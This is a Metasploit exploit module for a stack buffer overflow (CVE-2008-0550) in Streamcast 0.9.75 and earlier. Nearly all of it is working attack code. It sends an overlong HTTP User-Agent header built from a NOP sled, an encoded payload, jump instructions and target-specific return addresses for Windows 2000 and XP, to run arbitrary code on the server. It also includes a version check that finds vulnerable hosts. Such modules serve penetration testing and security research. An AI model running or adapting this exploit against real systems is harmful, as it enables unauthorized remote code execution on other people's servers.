Streamcast <= 0.9.75 HTTP User-Agent Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Streamcast <= 0.9.75 HTTP User-Agent Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Streamcast <= 0.9.75. By sending  
an overly long User-Agent in a HTTP GET request, an attacker may be able to  
execute arbitrary code.  
},  
'Author' => [  
'LSO <lso[@]hushmail.com>', # Original exploit module  
'patrick' # Added references and check code. Default target to XP.  
],  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2008-0550' ],  
[ 'OSVDB', '42670' ],  
[ 'URL', 'http://aluigi.altervista.org/adv/steamcazz-adv.txt'],  
# [ 'BID', '' ], # No entry as yet  
],  
'Privileged' => false,   
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'StackAdjustment' => -3500,  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>   
[  
# Tested OK by patrick 20090225  
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],  
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],  
],  
'DisclosureDate' => 'Jan 24 2008',  
'DefaultTarget' => 1))  
  
register_options([ Opt::RPORT(8000) ], self)   
end  
  
def check  
connect  
sock.put("GET / HTTP/1.0\r\n\r\n")  
res = sock.get(3, -1)  
disconnect  
  
if (res =~ /Steamcast\/0.9.75/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
juju = "GET / HTTP/1.0\r\n"  
juju << "User-Agent: " + make_nops(1008 - payload.encoded.length)   
juju << payload.encoded + Rex::Arch::X86.jmp_short(6) + make_nops(2)   
juju << [ target.ret ].pack('V') + [0xe8, -850].pack('CV')   
juju << rand_text_alpha_upper(275)  
  
print_status("Trying target #{target.name}...")  
sock.put(juju + "\r\n\r\n")  
  
handler  
disconnect  
end  
  
end  
  
`